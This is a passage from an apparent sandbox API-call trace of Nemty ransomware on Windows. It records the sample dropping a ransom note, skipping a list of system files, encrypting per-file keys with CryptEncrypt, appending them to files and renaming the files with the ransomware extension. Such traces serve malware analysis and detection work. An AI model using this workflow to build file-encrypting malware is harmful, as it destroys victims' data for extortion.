hHeap=0x4f90000) returned 1 [0182.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0182.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.176] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0182.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.176] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.176] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0182.177] CloseHandle (hObject=0x254) returned 1 [0182.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0182.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.177] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2038dc90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2038dc90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0182.177] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0182.177] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2038dc90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2038dc90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0182.178] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0182.178] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0182.178] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2=".") returned 1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="..") returned 1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="...") returned 1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="windows") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="rsa") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="NTDETECT.COM") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="ntldr") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="MSDOS.SYS") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="IO.SYS") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="boot.ini") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="boot.ini") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="AUTOEXEC.BAT") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="ntuser.dat") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="desktop.ini") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="CONFIG.SYS") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="RECYCLER") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="BOOTSECT.BAK") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="bootmgr") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="programdata") returned -1 [0182.178] lstrcmpiW (lpString1="Accessibility.RUM", lpString2="appdata") returned -1 [0182.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUM", lpUsedDefaultChar=0x0) returned 17 [0182.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0182.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.178] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUM", lpUsedDefaultChar=0x0) returned 17 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUM", lpUsedDefaultChar=0x0) returned 17 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.RUM", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.RUM", lpUsedDefaultChar=0x0) returned 17 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.179] Sleep (dwMilliseconds=0x5) [0182.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x203d9f50, dwHighDateTime=0x1d561e8)) [0182.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x203d9f50, dwHighDateTime=0x1d561e8)) [0182.190] GetLastError () returned 0xb7 [0182.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.190] GetLastError () returned 0xb7 [0182.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.192] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.192] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="eMP3u5a1tNcgKD4xQ8/dr8xZRYc9FbbysazvdjvhG4FxPOY+RsCiVPxiNSpqeUUS\r\nLr697OZaEzEF5mMS3+BWZir9j1d4vhcdl066e0c12JCcz4NubZ6Uo9xRzfQp571r\r\npfiSA1dzuTHdyZDuH0Fr8cbiC95Bd9OXWo89xwg6IWvWIREeZNEGc8/egMUWp2LT\r\ncVc5niN5YPzkkFqlHEWiuO6tnjxdXE+HVEUxCDtGsX/whkViPEtvtIgTFsS3AERf\r\nZLBR2xdKTPybcf+SlNYk2GXX7NBBKd7n1/HOl5OllwQgxpeaK/AjBpuLqZYbeFoN\r\ndSVrbeg6C148HryX9FXejg==\r\n", pcchString=0x653e5dc) returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Accessibility.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\accessibility.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.192] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45568) returned 1 [0182.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb200) returned 0x6352c48 [0182.192] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.193] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb200, lpOverlapped=0x0) returned 1 [0182.197] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.197] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb200, lpOverlapped=0x0) returned 1 [0182.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.197] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200 [0182.197] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.197] CloseHandle (hObject=0x2e8) returned 1 [0182.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.198] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Accessibility.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\accessibility.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Accessibility.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\accessibility.rum._nemty_kgobjgd_")) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.199] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831716c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.RUM", cAlternateFileName="")) returned 1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2=".") returned 1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="..") returned 1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="...") returned 1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="windows") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="rsa") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="NTDETECT.COM") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="ntldr") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="MSDOS.SYS") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="IO.SYS") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="boot.ini") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="boot.ini") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="AUTOEXEC.BAT") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="ntuser.dat") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="desktop.ini") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="CONFIG.SYS") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="RECYCLER") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="BOOTSECT.BAK") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="bootmgr") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="programdata") returned -1 [0182.199] lstrcmpiW (lpString1="Acroform.RUM", lpString2="appdata") returned -1 [0182.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.RUM", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.RUM", lpUsedDefaultChar=0x0) returned 12 [0182.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.200] Sleep (dwMilliseconds=0x5) [0182.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x204000b0, dwHighDateTime=0x1d561e8)) [0182.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x204000b0, dwHighDateTime=0x1d561e8)) [0182.206] GetLastError () returned 0x0 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.206] GetLastError () returned 0x0 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.206] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.206] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.206] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.206] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XHytd4OZWKs8nWWSJgVv4XD1gVCkEsqu9UB91jPzh4koYGOi9GlhGKD/xJ4yaEUM\r\nVw3X0XCOcyV+X4JIZyv7/0EOi17FnxQaBp4ceDezHlI8UByKNlxSYk8JQLa6IJwu\r\nsRem9gmmy/6lLCTXR+6IpjauHxXX90/ljTJf3g5QbmWhNAN8ZC8KtqGkZiVvGFgA\r\nSsM8A82V43PRwKudaSQim2aw86aA9moYbFps8tNZclBTZN3d3FPPG13Sq/AMLZWt\r\nv63/Wq5Skc44RyxjGSKOpIy3lsbmIR23plljyFuG2DDPgh3MtoUaI6syr/vTrd9a\r\nS69dpt5FrQbqIvBFJXYJEA==\r\n", pcchString=0x653e5dc) returned 1 [0182.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.206] 